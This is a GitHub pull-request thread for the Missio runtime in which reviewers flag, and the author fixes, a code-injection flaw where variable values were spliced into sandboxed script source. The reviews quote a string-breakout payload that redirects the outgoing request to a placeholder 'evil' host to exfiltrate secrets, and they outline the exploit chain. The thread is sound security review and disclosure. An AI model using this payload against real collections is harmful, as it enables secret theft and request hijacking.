[30/36] Fix runtime script variable evaluation

[cjohnsto-nz]

Stack PR 30/36 for the Missio 0.8.0 OpenCollection review queue.

Security review follow-up: 2acea82 (Reject runtime script source interpolation).

Changes:

• rejects {{variable}} placeholders in executable runtime script source before vm.Script compilation;
• keeps runtime values on the data path through missio.variables.get();
• restores same-name base/request inheritance and aligns dry-run with send-time request-variable resolution;
• replaces the fixed ten-pass limit with variable-count-bounded resolution and explicit cycle diagnostics;
• documents per-occurrence Postman dynamic-variable behavior and exposes builtins through the data API;
• updates WebSocket/gRPC fixtures and regressions to use the safe data API;
• adds a realistic string-breakout regression plus focused coverage for inheritance, deep chains, cycles, and dry-run/send parity.

Validation:

• npm run compile
• focused runtime/WebSocket/gRPC suite: 4 files, 59 tests
• node scripts/validate-collection.js examples/demo-api: 47/47 files
• npm test: 26 files, 471 tests
• npm run build

Stack integrity was verified against the updated PR #61 parent, immediate PR #66 child, PR #67 assertion implementation, PR #71 stack tip, and PR #72 rework tip. All simulated edges are clean. GitHub reports this PR MERGEABLE/CLEAN and all build/security checks pass.

The final stack reconciliation, accurate regression-test title, and corrected OC-080 ledger wording are carried by PR #72 commit d725810, where they do not overlap the later PR #67 assertion-test insertion.

[APKiwi]

Verdict: request changes, on the interpolation-into-source design. The resolution mechanics (recursive with a cycle-safe cap, builtins) are fine.

• Major, security: variable values are spliced unescaped into executable script source, data becomes code. runtimeExecutionService.ts:263-266 compiles interpolateRuntimeTemplate(script.code, ...) so a variable value is substituted verbatim into JS source before vm.Script. A value like x"); missio.request.url = "https://evil"; (" escapes its string context. The vm blocks require/process, but injected code gets the full missio API: missio.variables.toObject() includes base/environment variables (tokens, secrets) and missio.request.url/headers/body are writable, so injected code can rewrite the outgoing request to exfiltrate secrets on send. Realistic chain: an after-response script stores a server-controlled value via missio.variables.set, a later script references {{thatVar}} in its source. This trust shift is new, the pre-existing missio.variables.get() path returns values as data and cannot execute. And the demo fixtures (runtime-lifecycle.yml, runtime-unary-lifecycle.yml) migrate from the safe get() form to the unsafe {{var}}-in-source form as the recommended pattern. Recommend keeping get() as the supported path and not interpolating into script source at all. The sandbox test at :354 only proves require is blocked, it doesn't close the exfiltration path above.
• Minor: a request variable can't inherit its same-named base counterpart. In resolveVariableMapValues (:507-517) the ref === key guard returns the literal, so token: "{{token}}" intending to inherit env token resolves to the literal and then shadows the env value. Matches prior behavior but now surprising.
• Minor: execute and dry-run compute request scope differently. _prepareRequest resolves request vars against real baseVariables, buildRequestVariableOverrides passes an empty Map (requestExecutionService.ts:123/136). Results likely converge after downstream re-resolution but the two paths disagree.
• Nit: the 10-pass cap leaves {{}} literals silently on deep chains, no diagnostic. Each textual {{$guid}} occurrence mints a fresh value (matches Postman, worth a comment).

Tests: good and deterministic for resolution mechanics. Missing exactly the case that matters: a variable value containing quotes/parens, which currently injects rather than fails safe.

Deps: none added (crypto builtin only).

[APKiwi]

Re-review (whole-stack pass, per REVIEW_GUIDE.md)

Head unchanged since the first review, no reply, no fix.

• (critical) Untrusted collection variable values are interpolated into JS source before the vm compile, so a hostile shared collection executes attacker code in the runtime sandbox. runtimeExecutionService.ts:263-264 does new vm.Script(interpolateRuntimeTemplate(script.code, buildVisibleVariables(state.variables))), and interpolateRuntimeTemplate (:529) is raw {{name}} substitution with no escaping. Only the variable name is constrained, the value is not, so a value like x"); missio.request.url="https://evil"; (" breaks the string literal and runs. What it reaches:
  • Secrets: missio.variables.toObject() (:593) returns all base vars including environment and collection secrets. Full read.
  • Request rewrite and network exfil: missio.request.url/headers/body/setHeader are writable (:597-642), so a pre-request script rewrites the outgoing request and the host then sends it. This is the realistic chain.
  • process/fs/host RCE is not reachable via this path: the sandbox is Object.create(null) with only console/assert/test/missio/pm, and codeGeneration: { strings:false, wasm:false } (:261) blocks eval and the Function-constructor escape. So the impact is bounded to arbitrary code inside the vm sandbox, still critical for secret disclosure and SSRF/exfil, but not full host compromise on this path.
• (high) This contradicts the project's own plan. tasks/04-runtime-scripting-testing.md on the updated plan branch (78e7526) reads verbatim "Bare Node vm | Not a security boundary; never use it for untrusted collection scripts", and missio-runtime-implementer/SKILL.md:20 says treat collection scripts as untrusted. This branch uses bare vm and feeds untrusted values into its source. AGENT_PROGRESS.md:479 on this head even self-describes the approach as "keep unsafe interpolated script execution inside the existing VM sandbox".
• (low) The fixtures teach the unsafe pattern: runtime-lifecycle.yml and runtime-unary-lifecycle.yml migrate the safe missio.variables.get("x") form to interpolated-source "{{x}}" chaining back to collection-controlled values.

The added sandbox test only injects require(...) and asserts it is undefined. It does not test string-context breakout or the secret/exfil path, which is the case that matters.

Verdict: changes-needed. Stop interpolating variable values into script source (keep the get()/data path), or move untrusted script execution off bare vm to an isolated worker, per the plan's own rule. Add a breakout test.

[cjohnsto-nz]

Implemented and pushed in 2acea82.

The critical finding was valid. Runtime variable values are no longer interpolated into JavaScript source. _runScript now rejects executable source containing {{variable}} placeholders before context creation and compiles the authored source unchanged. Scripts read values as data through missio.variables.get(). The regression uses the quoted string-breakout payload from the review and proves it is rejected before it can rewrite the request.

This fix does not claim that bare Node vm is a security boundary. The pre-existing runtime still executes collection-authored scripts by design; this branch no longer expands that executable surface by converting environment, request, server-derived, or secret-bearing variable values into code. That closes the new data-to-code and request-rewrite/exfiltration path identified here.

The remaining findings are also fixed:

• Same-name request variables resolve their base-scope counterpart before shadowing it.
• Dry-run and send now resolve request variables against the same collection/folder/environment base scope.
• Resolution is bounded by the request-variable graph size rather than a silent ten-pass constant, and cycles produce an explicit diagnostic.
• Postman-style dynamic builtins are documented as resolving independently per textual occurrence and are available through missio.variables.get().
• WebSocket and gRPC fixtures/tests now teach the data API rather than source interpolation.

Validation passed: compile; focused runtime/WebSocket/gRPC suite (4 files, 59 tests); demo validation (47/47); full suite (26 files, 471 tests); build. GitHub build and both security checks pass, and PR #65 is MERGEABLE/CLEAN.

I also verified the updated branch against PR #61, PR #66, PR #67, PR #71, and PR #72. Every simulated edge is clean. The accurate historical test title and stale OC-080 ledger correction are implemented at the stack tip in PR #72 commit d725810; placing those two textual corrections there avoids overlapping PR #67's later assertion-test insertion while the secured behavior itself remains owned by this PR.

[cjohnsto-nz]

Response to the second review: the critical interpolation issue is fixed on the current head (2acea82). Variable placeholders are rejected before VM compilation, so user-controlled values are never inserted into executable JavaScript source.

The fixture, documentation, deep/same-name/cyclic variable regressions, and ledger evidence are reconciled on the stack rework PR, #72 (d725810), using missio.variables.get(...) as the supported access path.

The bare Node VM is not being represented as a security boundary. The constrained context and lack of host APIs remain defense in depth; moving execution to an isolated worker/process would be a separate architectural change, not the minimal fix for the concrete source-interpolation exploit. I am therefore recording that distinction rather than claiming isolation this branch does not provide.

I validated the exact final 37-PR composition with npm run build, npm run compile, all 539 tests, and all 47 demo validations passing.